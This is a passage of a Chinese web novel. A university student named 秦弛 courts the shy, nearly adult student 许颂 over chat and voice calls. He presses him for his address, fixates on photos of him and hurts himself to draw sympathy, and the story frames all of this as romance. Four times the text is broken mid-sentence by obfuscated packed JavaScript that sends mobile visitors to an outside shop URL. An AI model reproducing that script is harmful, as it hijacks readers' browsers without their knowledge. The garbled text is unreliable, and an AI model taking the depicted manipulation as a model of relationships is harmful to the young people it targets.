猫猫跳舞.jpg 跟秦弛聊天后,许颂越来越熟练使用表情包表达心境,并且在聊天框里存了一堆。 不过几秒,秦弛的消息又发过来,像是跟他确认:颂颂今晚的时间都用来陪我聊天吗? 许颂以前写完作业除了背书复习、找凌航玩游戏就没有别的事情做了,自从加了秦弛的好友,许颂才开始觉得自己的休闲时间少,因为根本没有多少时间跟秦弛聊天。 对方这么问,他自然点头回:对的哥哥。 秦弛:颂颂上午写作业晚上打字聊天,手会累。 许颂闻言感受了下觉得还好,手指上微弱的酸软感跟平时写作业比起来不值一提,但秦弛的关心令他心情不自觉放松,有些开心回:不累的。 秦弛:是吗? 秦弛:还是会累的。 许颂闻言忽然有点摸不着秦弛的意思了,是在关心他的手还是在委婉地表示不想跟他聊天…… 但很快的,对面又发来消息。 秦弛:我们可以语音聊天。 秦弛:颂颂。 ……语音聊天? 许颂刚看清消息时迟钝地愣了楞,反应过来秦弛的意思后,他原本放松的脊背微微弓起,不自觉地呈现着畏缩的姿态。 对不擅长与人打交道的许颂而言,语音聊天等同于是面对面交流。 他在说话上没有天赋,平时跟不熟悉的人聊天,支支吾吾半天凑不出一句话,即便秦弛对许颂来说并不是正真意义上的陌生,许颂也无法保证自己能够正常地跟对方交流。 文字可以通过斟酌删改发出最合适的句子,从而隐藏他的笨拙,但语音聊天不可以,许颂几乎能想象到那尴尬恐怖的画面,下意识地感到抗拒。 他不想因此搞砸自己跟秦弛的关系。 许颂有些慌乱无措想,刘海下的那双眼睛微微低垂着,打字时的手指很紧绷:哥哥,打字聊天就好了。 发完,许颂的神经像是被一根弦高高悬挂着,紧张地攥着手机期望秦弛的回复能顺从他的想法,然而秦弛却很快地回了一句“不好。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14482226|154450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 秦弛拒绝了他的请求,许颂愚钝的脑子便有些无计可施了,只能感受到一阵阵忐忑不安的无助。 他的手指揪着衣服边的布料纠结着,呼吸不自觉地开始加速,半晌才干巴巴回:哥哥,我嘴巴很笨的,不会聊天。 秦弛:没关系。 秦弛这么回,许颂又不知道该怎么办了,他既怕拒绝秦弛的请求后,对方以后都不会再陪他聊天了,又怕自己语音通话时不会聊天惹人厌。 他焦虑地咬着嘴唇迟迟找不到对策。 秦弛似乎能想象到少年纠结无措的模样,微微勾着唇继续引导着。 秦弛:颂颂不会聊天,那就我来说话好不好? 秦弛:我可以给颂颂分享今天下午的网球比赛。 …… 看着秦弛的消息一条一条弹出来,许颂抱着手机有些僵持着。 他似乎能感觉到秦弛对语音通话的坚持,进退两难地纠结着,最终还是选择了答应。 秦弛的通话几乎很快拨了过来,将许颂吓得心脏砰砰跳,情急之下他手指打滑竟直接将通话挂断了。 他看着聊天界面挂断记录,有些不好意思地打字解释:哥哥,可以晚点再打吗?我现在还没有洗澡。 刚才一番循循善诱已经令秦弛的耐心即将告罄,他垂着眼,额角的青筋微微躁动,敲在键盘上的力道有些不受控制。 秦弛:颂颂不是说今晚的时间都用来陪我聊天吗? 许颂闻言脑袋嗡得烧起来,抿着唇手忙脚乱地打字解释:不,不包括洗澡的时间的,哥哥。 聊天框里安静了下,秦弛的情绪也平静过来,为了不把人吓跑,他只能暂时退让,控制着语气,给对方下命令。 秦弛:颂颂现在去洗澡,洗完澡后主动给我打通话。 秦弛:不要让我等太久,好吗? 许颂急促的心跳此时才缓和了一点,他慢吞吞地敲字答应,跟秦弛聊完天,整个人面红耳赤,说不清是被吓的还是臊的。 他放下手机,在凳子上埋头磨蹭了会儿,想到秦弛最后一句催促,才起身去衣柜翻出衣服去洗澡。 许颂从来没有跟网友通过电话,即便是跟凌航也没有打过几次语音通话。 他在心里默默给自己缓和紧张,洗完澡回到房间,从抽屉里翻出耳机戴上,而后又警惕地反锁了房间门。 许颂爬上床后才点开秦弛的微信,有些心跳加速地点开通话选项卡在选择界面。 他心里慌乱不安的同时也有些不受控制地想象秦弛说话的音色和语调。 是清亮的……还是沙哑的…… 许颂紧紧抱着枕头,将半张脸埋在上面缓和情绪,最后才选择语音拨通。 通话铃声几乎没响两秒就被接通了,许颂的心也跟着被高高提起。 耳机里能清晰地听见对面淡淡的呼吸声,像是对方正贴在许颂耳边呼吸一般,令许颂肩膀微微绷紧,他手指紧扣着枕头,紧张混乱间听到一道磁性低沉的声音轻柔地叫了声颂颂。 许颂的耳后被激起一片滚烫,心脏也跟随着这道嗓音落下强烈的节拍。 “能听到吗?颂颂?” 许颂没有应声,秦弛又低低唤了一声,温柔的嗓音传来令许颂耳朵发痒,他小小声地唔了下当作回应。 耳机里秦弛轻笑了声,浅浅的气音传进许颂的耳中,像是一阵清风刮过,激起酥麻一片,他说: “应得好小声哦,颂颂。” 5. 说话 秦弛叫颂颂二字时语调轻缓上扬,喊出来的感觉太奇怪了,许颂有种整个颗心被揪软的感觉。 他说不清是暧昧还是腼腆,整张脸捂在枕头上,低低地唔了一声。 软绵微弱的应声像一个细小的爪子,紧紧勾着秦弛的神魂,他脸上的笑容渐渐加深,压着声音故意朝着通话一端说:“颂颂也没有跟我打招呼。” 许颂第一次听到有人用这么温柔的声音调侃他。他觉得好不自在,身体渐渐在床上蜷缩成一团。 耳机线绕在许颂白皙的脸颊边,压出一道淡淡的痕迹。 他嘴唇微微张着,被引导着张口说话却浑然不觉,半晌才低弱地喊了一声秦弛。 对方轻轻“嗯?”了声,沙沙的嗓音从耳机中传来,裹挟着暧昧的色彩:“不对。” “颂颂平时是这么称呼我的吗?” 许颂闻言僵愣住,脸和脖子相继烧了起来。 平时打字能轻易发出去的话现在成了拿捏许颂咽喉的东西,他有些难以启齿地抿着唇,手指紧紧揪着枕头四周,将里面的棉花扯得有些不成形状。 昏暗的书房中,秦弛手指搭在桌面有规律地轻敲着,注意力落在手机另一端上。 听筒里断断续续传来一阵细小的摩擦声,仿佛照应着对方的纠结,他耐心地等待着,终于,听筒里传来一道青涩的叫音。 “……哥哥。” 因为不好意思,许颂喊哥哥二字时气息带着不易察觉地颤抖,咬字轻而低缓,如同一片薄薄的蝉翼飘过,只瞬间就消失了,却在秦弛脑海间留下一阵阵亢奋的颤栗。 秦弛微微低着头,落地窗外的灯光斜斜打进来却照不清他的神色,只能看见他弧度清晰的唇角。 叫完人,许颂几乎整个人扎进了被子里,他洗完澡后没有带上眼镜,凌乱的发丝紧紧贴着他的双眼与发热的脸颊闷起在一起,沾染上了热气。 耳机里,秦弛说没听清想让许颂再叫一遍,但许颂龟缩着不愿意再出声了。不论秦弛再怎么引导,他都只唔一声作拒绝嗯一声作答应。 他似乎有些发觉自己进入了什么圈套,认认真真去思索却又发现不出所以然。 但很快,许颂便不再继续思考那股不对劲的感觉了,他不说话,秦弛开始跟他聊起下午a大的网球比赛。 许颂平时不怎么运动,对喜爱运动的人十分钦佩,他垂眼听着秦弛温柔的腔调,手指不自觉退出了通话界面,点开了a大的公众号,在公众号里看到了关于下午网球比赛的推文。 他点开认认真真地翻阅着,意外地在推文里找到了秦弛的照片。 男人肩宽腿长,黑色运动服紧贴着结实有型的肌肉,那双细长桃花眼微微下压注视前方,屈身挥动网球拍的动作英气逼人。 赛场上气势恢宏的秦弛,此刻的声音轻柔地在他耳边说话,许颂心里莫名充满着满足感,顶着通红的耳廓将推文里面的图片都保存了下来。 就在他动作间,耳机里秦弛的话锋忽然一转,带着暧昧的气音调侃:“比赛结束后给颂颂回消息,好多人以为我在跟对象聊天哦。” 许颂脑子运转得比较愚钝,没能发觉话中的微妙的气氛,只是想到自己保存的照片有些心虚地将下巴埋在枕头上磨蹭着,不知道该说什么,最后只是低低唔了声当作否认。 秦弛的呼吸打在话筒里,传来循循善诱的语调:“我说了好多话,颂颂也说说话吧。” 许颂闻言呆呆停顿了半晌,又唔了声,还是拒绝的意思。 他记得通话前秦弛说过不需要他说话的。 秦弛:“但我想听听颂颂的声音,颂颂说说话吧。” 许颂纠结着,手指将耳机线来回扯成结,磨磨蹭蹭许久才声音低低地、卡顿地说:“我不、不会聊天。” 许颂听见秦弛又笑了,不是嘲笑的笑声但他莫名觉得不好意思。 “会的,颂颂跟我说说身边的事情就好了。” 秦弛的语调那么温柔、那么体贴,许颂不自觉地沉浸在里面,放松着警惕。 他舔着干涩的唇,喉咙微微滚动着,小声说:“下、下周要考试。” 秦弛低低嗯了声引导他继续说话。 许颂学着跟凌航平时交流的方式组织语言:“考完试,还要开家长会。” “颂颂觉得很紧张吗?” 许颂点了点头,但发觉秦弛看不见,于是又咽着喉咙嗯了声。 他斟酌着,把秦弛当做倾诉的对象,说话尽力保持着通顺:“我努力复习了,成绩,还是不好。” “颂颂尽力就好了,成绩不重要。” “重要的。”许颂垂着眼,心想考太差李洁会觉得丢脸。 或许是秦弛的腔调耐心而温柔,许颂开始零零散散地说话了,关于学校里的、关于家里的……因为心里暗藏着自卑、落差,他不喜欢把自己太多事情告诉别人,只是把一些浅薄的烦恼说了出来,然后听秦弛安慰鼓励他。 这种感觉很舒服,许颂以前从来没有感受过,自然而然地感到上瘾,不知不觉跟秦弛聊了很久。 通话结束时,许颂又听到了晚安,由秦弛亲口道的,比文字要让更让他触动。 许颂觉得自己并不是声控,但心却不受控制地被秦弛的声音牵动着,散发着酥酥软软的悸动。 他低低嗯了声,在最后才小声地回晚安,亲手挂断了通话。 他挂断得很快很急,声音刚传到另一端就结束了,秦弛的消息有些不满地控诉过来。 秦弛:颂颂挂得好快。 秦弛:没听清颂颂说了什么 许颂没有戴眼镜,需要把手机抱在很面前才能看清消息。 他不好意思地抿着唇,打字解释:我说了晚安,哥哥。 秦弛:可是我没有听见。 秦弛:颂颂。 秦弛:下次挂慢一点吧。 秦弛:我想听清楚一些,可以吗? 下次…… 还有下一次吗? 许颂微微缩着肩膀,他其实有些沉溺在今晚的通话里了,心里矛盾的期待着,回复时已经不自觉弯起了唇角。 颂颂:好哦,哥哥。 …… 周日早上许颂难得睡了个懒觉。 平时即便没有作业许颂也会早起复习和背诵知识点,但昨晚跟秦弛通话后,他莫名生出了放松的念头,于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14482227|154450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是把平时六点四十分的闹钟关了。 周末李洁要去商场上班,许高富出门跟朋友小聚,许清宝去了画室,许颂九点钟起来时,家里只有他一个人。 他将李洁留下的烧麦热了热,端出来时先拍照发给秦弛看,而后才慢吞吞地开始吃。 拍摄的照片像素依然像素很差,但亮度高了许多,像是给画面覆着一层灰白的雾。 照片是许颂单手托着碟子拍的,角度很潦草误将手腕也拍了进去。 许颂的手腕有些瘦,那里肤色和他身上其他地方一样白皙,小小的腕骨关节凸显着像是一块外露的玉石,令人不禁想要握在手中来回摩挲。 秦弛目光灼灼注视着这张图片,从碟子边缘弯曲的手指滑过最后再到手腕关节,每一处地方都让他近乎痴迷。 许颂撑着下巴,反复搅动着粘牙的糯米,等待秦弛的消息。 不知秦弛是不是在忙,他图片发出去好久,对方都没有回消息,就在他吃完早餐带着碟子回厨房时,秦弛的消息才发过来。 对方发的竟然是语音,许颂想到昨晚,动作不自觉地卡顿,他调了调手机音量将手机靠在耳边,点开语音,秦弛温润的嗓音从听筒中传过来。 “颂颂早餐吃好少哦。” 许颂听完心跳像是漏了半拍混乱着,回过神时,他感受了下自己的肚子,几个烧麦吃完饱腹感刚刚好。 他没有像秦弛一样发语音,而是慢吞吞打字。 颂颂:不少了,哥哥。 颂颂:烧麦是糯米馅的,很容易吃撑。 秦弛的语音又发过来,带着微弱的笑意责备:“我给颂颂发语音,颂颂也应该回语音才对。” 许颂闻言耳后嗡地热了,他垂着头逃避似的打字:我要去洗碗了,哥哥。 发完,他扣住手机任由消息提示音响了也不看,掩耳盗铃地打开水龙头,低头清洗碟子。 秦弛看着未回复的聊天界面,有些懊恼地皱了下眉。 有些把人逼太急了。 …… 午饭时,李洁忽然提到许颂班级群里的家长会通知。 许颂高一高二的家长会都是李洁在参加,一开始她还能心平气和,后面看到许颂的成绩一直不上不下便有些不满意了,高二那回许颂勉勉强强考进年级二百名,李洁看着满意不少,但回家时嘴里却一直在跟许颂强调:“二中的水平,进了年级前一百才能稳重本线。” 她本意是想让许颂努努力冲冲年级前一百,然而在那之后许颂的成绩一次比一次差,她自然而然对许颂失去了期望,这次家长会想让许高富去。 “我没时间,厂里最近在赶货。”许高富不耐烦拒绝。 李洁啪地放下筷子,“你也就核对一下单子而已忙什么?” “跟你说了也不懂,我没时间。”许高富脸色不改道。 许颂听着李洁跟许高富的来回推脱声慢吞吞吃饭,许清宝刷着视频,有些看热闹不嫌事大插嘴:“没时间那就都不去了呗,又不是全国大会,有什么好急的。” 夫妻两人闻言都训斥了许清宝两声,让她不要插手大人的事情,而后却都默契地没再提家长会的事情。 6. 撒谎 其实两人参不参加家长会许颂都不太在意,他吃完饭便回房间复习隔天的月考了。 只是周四开家长会那天看见李洁跟着班委进班,许颂还是有些意外。 他把自己的座位收拾整齐给李洁落座,有些控制不住腼腆的笑容,从班委手里接过茶壶给李洁倒茶,说话的语气带着微弱的雀跃:“妈,你怎么来了。” 李洁本就因为强制参加会议心情烦躁,闻言没好气说:“来了就来了,还能怎么。” 她接过许颂递来的茶喝了两口,想要看看这次月考的成绩单,许颂见状小声告诉她这次月考没有出成绩表,开会的时候才会公布。 李洁又问他这次考试发挥的怎么样,许颂老老实实答:“感觉这次考试有点难。” 他这么说,李洁已经知道结果了,但成绩公布的时候,表情还是不太好。 许颂这次的成绩连年级前四百都没有保住,掉到五百多名,是班级里退步最大的学生。李洁跟班主任对视时面子有些挂不住,周身的低压压得许颂喘不过气。 开完会,李洁跟许颂被班主任留在办公室开小会,班主任指出许颂学习很有毅力,只是方法过于死板,如果学会变通,成绩就会得到回升。 这些话在李洁耳中的意思是你儿子蠢透了,除了死记硬背,一点动脑的能力都没有。 她对着老师还能浅笑着点头应下了,走出教学楼后便没了好脸色,揪着许颂的领子,像是真的纳闷,反问他:“我跟你爸头脑都不差吧?你哥能考上首都大学,你妹也一直拿年级前十,怎么就你这么蠢?” 许颂双手揪着书包带子微微低头,细长刘海遮掩着双眼只能让人看见他鼻梁间架着的宽大眼镜框。 他安静地沉默着没有说话,李洁对他这副模样越看越不顺眼,继续直白地说话:“你还委屈上了?你说这次考试难,为什么大家都在进步你却反而退步一百多名?你心里到底有没有用心读书你自己不清楚么?” 许颂刘海下的双眼有些茫然,他刚刚只是在走神而已并没有委屈。 但他沉寂的模样显然戳中了李洁的怒火,她发脾气时说话向来没有理头,本来是戳着许颂不上不下的成绩数落,到最后迁怒上许颂懦弱沉默的性格。 教学楼外的广场很大,过路的家长学生多,时不时被李洁的声音吸引投去视线,但许颂在低着头走神并没有发觉。 李洁似乎也觉得大庭广众之下批评孩子有失脸面,适时收住了火气,揪了许颂的领子一把,失望地挪开视线,大步往前走,“算了,烂泥扶不上墙,回家。” 许颂的脖子被扯得有点疼,他垂着头脊背微微弯着,跟在李洁身后,一副乖顺的模样。 回到家,许颂打开手机发现凌航给他发来了几句关心的话。 许颂平时一直都在有意无意跟凌航回避自己家里的事情,但今天下午李洁在学校发脾气的场面正好被凌航撞见了,许颂平静了一整天的情绪这时才生出一阵阵难堪。 他手指有些迟钝地打字回了句没事,而后翻开秦弛的微信,垂着眼开始给对方发信息。 颂颂:哥哥我放学啦。 颂颂:猫猫蹲.jpg 许颂放学的时间秦弛一向把握的很准,每次都回复得很快。 自从上周打过电话起,秦弛就不怎么打字聊天了,回复时大多是语音。 许颂戴上耳机点开语音,熟悉温柔的声音传入耳中。 秦弛问:“颂颂开完家长会了?” 许颂闻言被勒过的脖子又有些疼了,他有意无意忽略着痛感打字。 颂颂:开完了,哥哥。 颂颂:但是我考试得好差哦。 刚发完消息,秦弛的语音电话便打了过来,他反应还有些懵,但手已经快一步做出了选择,将电话接通了。 距离上一次通话已经过去了近一周,看见拨通,许颂心里不自觉地感到忐忑慌乱。 很快秦弛出声了,关心问他是不是没考好,心情不好。 许颂觉得自己心里其实并没有因为这次大退步的成绩感到失落难受,老师否定他的学习方式,他不觉得灰心,李洁说他蠢,他也能理解,毕竟自己害得对方在家长会丢脸,但秦弛这么问时,他心头却忽然涌上了一股干涩酸胀的感觉,像是压在瓶子里的情绪开了阀,控制不住地一阵阵往缺口涌。 他后知后觉有点委屈了。 “嗯?颂颂怎么不说话?” 秦弛的询问耐心柔和,许颂咽了咽喉口,垂低眼小声说:“没有。” “没有什么?”秦弛继续引导着问。 许颂垂着眼,口不对心地动了动唇,音量微弱:“没有心情不好,哥哥。” 撒谎。 秦弛面无表情地盯着手机屏幕,通过听筒里细微的语调语气就能推断出对方的情绪,但是看不见。 他看不见对方的神态。 是垂着眼难过还是抿着唇伤心…… 那只握着手机的手用力绷紧着,以至于手背青筋都微微凸起。 秦弛周遭围绕着阴鸷的气氛,但他张口说话的语气却依旧那么平和。 “颂颂说话好小声哦,有些听不清。” 许颂没有起疑,将耳机上的麦贴近了一点,因为最近经常听到秦弛的语音,他已经有些习惯了对方声音,没有像上次通话那样拘束慌张了,至少没那么畏惧说话。 他的嘴唇微微贴着麦,没有再重复原先的话,而是低低问:“哥哥,现在能听清吗?” 耳机里传来淡淡地应声,声线比平时要冷硬一些,许颂纳闷间,秦弛声音又恢复了正常。 “颂颂说自己的月考考得很差,我觉得颂颂说的不对。” 许颂闻言有些茫然地说为什么。 “考试本质上并没有好差之分,其根本目的是为了对学习进行查漏补缺,而错误的出现恰恰是在提供进步机会。”秦弛耐心解释道。 许颂手指抓着耳机扯动着,滞塞的大脑无法第一时间理解秦弛话里的意思。 他是个不懂得变通、固执的人,李洁把成绩看作最重要的东西,他也理所应当的这么认为,他其实没有目标,努力的学习只是想让考试成绩好看一点,让李洁心情好一点,只是长此以往地否定让他有些疲怠、难受了。 秦弛否定成绩的重要性,许颂愚钝的思维似乎撬动了一端,他的视野好像开阔了一点,半晌才带着恍然大悟地唔了声,低落的心情被渐渐抚慰了。 他微微弯着腰单手趴在桌面上,另一只手紧握着手机,一边听秦弛说话,一边偶尔翻看他跟秦弛的聊天记录,发觉他跟秦弛每天都聊了好多。 许颂的思绪不自觉地走偏想:秦弛这么温柔耐心,会愿意跟自己网恋吗? 耳机里,秦弛忽然问他在哪里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14482228|154450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上学。 许颂滑屏幕的手指停顿,后知后觉秦弛说要帮他整理高考题型做针对性复习。 但许颂记得凌航说过不要过度暴露个人隐私,有些纠结地思索着,最后含糊道:“我在G省上学,哥哥。“ 只说省级应该没关系吧? 秦弛低笑了一声,想要的并不是这个答案,他继续问:“市呢?颂颂?地方题型也很有参考价值。” 许颂这时候有些卡壳了,他难得灵机一动,假装没听见小声说:“哥哥在首都上学,家也在首都吗?” “东郊云庭04号。” 秦弛嗯了声,干脆利落报了住址,许颂反而因此楞了下,他记得凌航跟简澄阳网恋都没有互相报地址。 “颂颂呢?”秦弛报了家门,理应的,许颂也要告诉他。 许颂又安静了。 虽然知道秦弛想要他的地址是为了帮助他学习,但许颂还是有点不太想暴露自己的位置,他的脸颊贴在桌面上纠结着,最后小声说:“还是算了,哥哥。” “太麻烦你了。” “……” 电话另一端安静了数秒,秦弛眉梢躁动,阴沉地捏着桌面上的玻璃摆件,手臂因为用力而紧绷着。 忽然一道刺耳的爆裂传入耳中,许颂被吓一跳,而后他便听见秦弛处变不惊地解释:“不小心摔碎了一个杯子。” 秦弛刚才在喝水吗? 许颂疑惑了半刹,而后很担心地问:“哥哥,没事吧?” 秦弛捏着破碎的玻璃片,掌心间鲜血淋漓却像是毫无知觉般,说话的语气平缓温润:“没事。” 许颂听着另一端清脆的玻璃摩擦声不禁有些牙酸,关心地提醒:“哥哥收拾的时候小心一些,不要划伤手了。” 秦弛嗯了声,捏着破碎的残渣扔进垃圾桶里,打开水阀直接将掌心间的碎屑冲刷干净,关闭水阀的那一刻低低闷哼了一声。 很快,许颂紧张的问候从听筒里传过来,“怎么了?” 秦弛冷眼朝掌心拍了一张照片,而后扯过纱布随意缠绕在上面止血,呼吸有些重说:“没事,不小心划伤手了。” 许颂听着秦弛沉重的呼吸声不太敢相信对方口中云淡风轻的没事,“很严重吗?哥哥家里有没有药?” 秦弛对许颂关心的语气很受用,方才因为许颂的话激起的火气渐渐消了,他微微举着手,眼里没有一丝伤痛的情绪,声音却有些虚弱:“没有哦颂颂,现在一直在流血。” 许颂闻言似乎已经能想象秦弛伤得有多严重了,有些急地催促秦弛去医院包扎伤口。 秦弛拖延着、享受着这种感觉,最后才说好。 许颂注意力完全被秦弛牵动着,刚才的聊天也忽略的一干二净,连带着开完家长会的难受也忘却了。 通话挂断后,秦弛才拉开储物柜将里面的急救箱翻出来。 急救箱里的药物整齐排列着,每段时间都会有人定期进行更新整理。 他慢条斯理上完药,打开许颂的微信将刚才拍摄的照片发过去,看见对方发来的关心才露出满意的笑容。 他的视线紧紧落在聊天界面背景中。 那是一张从视频中截出来的照片。 少年鼻梁顶着奶油仰着头与秦弛隔着屏幕对望,他内心阴暗的欲念也在不断膨胀暴涨,低低呢喃: 迟早会找到的。 7. 告白 从家长会回来,李洁心里还是积着闷气,晚饭时有意无意提点许颂调整学习状态假期弯道超车。 短短三天假期,许颂都照着李洁的要求开着房间门学习。 假期白天他没多少机会跟秦弛聊天,于是到了晚上都跟秦弛通着语音电话聊。 假期最后一晚,秦弛的通话打过来时,许颂刚洗完澡。 他单手抓住毛巾擦拭着潮湿的发尾,因为没戴眼镜,近视三百多度的眼睛看东西有些模糊,听见铃声手指桌面上摸索着。 将耳机插入手机后,他微微举起手机,滑过拨通,视线忽然被一节模糊的画面占据。 许颂有些茫然地眯了眯眼,在看清男人清晰的眉眼时,心跳空了半拍,手忙脚乱地将视频挂了。 秦弛的通话再打过来,许颂几乎没有犹豫地挂了。对方没再继续拨打,而是发来好几条语音,手机发出一阵又一阵消息震动。 那双细长深邃的眼睛还在许颂脑海中挥之不去,他心有余悸戴上眼镜,不知道刚才视频通话时有没有照到自己。 他点开秦弛的语音,听见对方声音懊恼地跟他道歉。 秦弛说刚才不小心拨错了,许颂心里也没有起疑,只是慢吞吞地打字回:好哦,哥哥,我刚洗完澡,晚点再打电话吧。 秦弛在语音里柔声说好,神态得逞地欣赏着刚才截存的照片。 许颂当时手机举的不高,只是虚虚抬在胸前,摄像头堪堪拍到下巴。 他刚洗完澡,穿着衣领宽松的睡衣,两边潮湿的发尾落在脖颈间,锁骨喉结都暴露在镜头下。 秦弛看着照片还是有些不满意,许颂的相机拍照像素太差了。 他将照片传进设备里将画质修护清晰,盯着照片白皙的脖颈,五指虚虚拢着,仿佛正在触摸上去了一般。 许颂吹干头发后就便给秦弛播回了通话,只是回有些磨蹭,通话拨过去时已经九点多了。 秦弛有些委屈地调侃:“等了好久哦,我以为颂颂忘记了。” 许颂有些不好意思地抿着唇,只说刚刚在吹头发。 秦弛学着他的语气说好哦,而后又问许颂今天做了什么? 许颂觉得自己的一天很无趣,几乎每天都在做着重复的事情,可秦弛还是时不时地会问,于是许颂便像汇报一般从早上开始说起。 他假期维持着平时的习惯,六点多就起床了,洗漱后跟秦弛道完早安便开始背单词。 李洁和许高富这几天休假,许清宝也不用去画室,所以将近九点,家里其他人都还没有起来。 于是许颂背完单词便先把家里的早餐做了,吃完自己那份后回房间继续学习。 “颂颂好贴心哦,每天起来都给其他人做早餐。” 许颂说话时,秦弛的声音从耳机里传来,有些阴恻恻的,但许颂听不出来,温吞地说:“我们是一家人,这是应该的。” 秦弛哦了声,眼底没什么情绪地说他不会这么做。 许颂没明白。 秦弛只是哄劝他:“为什么要在意别人怎么样呢?颂颂只要好好在乎自己就行了。” 许颂像是听到了谬论,有些小声地说:“哥哥这样是不对的,家人不应该互相关心吗?” 听着许颂小心试探的语气,秦弛阴沉地情绪收了收,改口说:“颂颂说得对。” 他语气有些低落道:“只是我跟家里的关系不太好,所以才会这么觉得。” 许颂闻言顿了顿似乎发觉自己戳到秦弛的伤心事了,但现在改变话题已经来不及,秦弛难过的声音先一步传了过来。 说他的父母是合作婚姻,从小到大父亲对他不闻不问,母亲只是偶尔关心,几年前母亲生病住院,他也搬出了老宅,平时一个人住在东郊,从来没有家人会给他做早餐…… “如果颂颂在就好了,我也很想吃到颂颂做的早餐。”最后,秦弛带着期望道。 许颂心软软地说:“以后有机会就给哥哥做。” 秦弛勾着唇,眼底漆黑一片:“是吗?我很期待。” …… 许颂假期结束又恢复了只能放学给秦弛发消息的状态。 这天中午回家,许颂照例给秦弛发消息提醒对方不要忘记上药。 秦弛很快回了消息,忽然发来一段视频。 许颂看着那十多秒的视频反应有些呆愣。 他带着好奇点开,视频一开始有些轻晃,最后才固定住。 画面里,男人修长的双腿被矜贵有型的西装裤包裹着有些随性地交叠在白皮坐垫上。 秦弛将受伤的手搭在大腿边,掌心中的伤痕经过这段时间的修养已经结痂修复了,有色药水敷在上面像一片颜料。 画面外,秦弛像是报备一般柔声说:“已经上药了,颂颂。” 短短十几秒的视频,许颂的注意力不自觉落在手后面的背景上。 定制的西装裤很修身,就连膝盖弯曲的褶皱都带着一丝道不明的美感。 许颂不知怎么看得有些热,他点开视频重新看了一遍,而后又低头看了一下自己短裤下的双腿,虽然不是很瘦,但跟视频里面比起来却像是缩了一倍的水。 许颂默默收回眼神,重新抱着手机,动作有点缓慢地说好,而后又好奇地问秦弛是要去哪里吗。 秦弛说回老宅参加寿宴。 知道秦弛跟家里的关系不好,许颂闻言便打算扯开话题,不过秦弛先一步发来消息,问他是不是也快生日了。 秦弛这么问,许颂才反应过来,现在是十月份了,他的十八岁生日就在这个月十三号。 生日不会暴露个人隐私,许颂没怎么隐瞒地告诉了秦弛。 “好快哦,在下周。”秦弛说。 许颂闻言翻开日历去看,发现的十三号是在一个忙碌的工作日里,也跟着唔了声没怎么在意。 秦弛带着笑调侃他:“颂颂,快成年了。” 许颂有些不好意思说嗯。 秦弛问许颂成年后有什么特别想做的事情,许颂想了很久都没有想出来,最后在午休时迷迷糊糊想,成年对他来说好像并没有什么特别的纪念意义…… 终于到了周末短假,这回李洁没再揪着许颂弯道超车。 周六晚上凌航发消息约着许颂明天去他家玩。 上周凌航表哥回来给凌航送了两盒新乐高,他本来是国庆假期约许颂出来,但许颂当时被李洁盯着没有空。 这回有机会,许颂便欢心答应了。 许颂对积木很感兴趣。 第一次在凌航家接触乐高时就喜欢上了这类玩具。 他乐高拼得快还不容易出现误差,凌航每次有新乐高都叫许颂过去帮忙一块拼成品。 周日早上,许颂吃了早餐后回房间换了一套便装出门了。 凌航住在市中心,从许颂家里走过去有些距离,打车的话便很快。 凌航老早就在家里等着了,许颂一来先给他来了一个熊抱,而后跟揉小动物一样狂搓许颂的脸颊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14482229|154450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和脑袋,将许颂的皮肤搓得通红。 许颂习惯地站在原地等他搓完,而后才把路上顺手买的奶茶递给他。 凌航住在市中心大平层,爸妈工作忙不经常在家,许颂一来,凌航瞬间觉得家里热闹了。 许颂在矮桌边低头专注地拼积木,凌航四仰八叉靠着榻榻米喝奶茶,述说自己最近的网恋趣事,他说着说着支着下巴看许颂,露出意味深长的笑容忽然问:“你跟秦弛网恋了吗?” 许颂冷不丁听到秦弛的名字,手指一滑,差点将细小的积木按错了位置,他及时停手,有些不好意思地摇头。 “啊?还没有啊?”凌航一脸落空的神色,像是超出了什么预料,而后又八卦问:“那你们进展到那一步了?简澄阳跟我说秦弛还挺喜欢你的。” 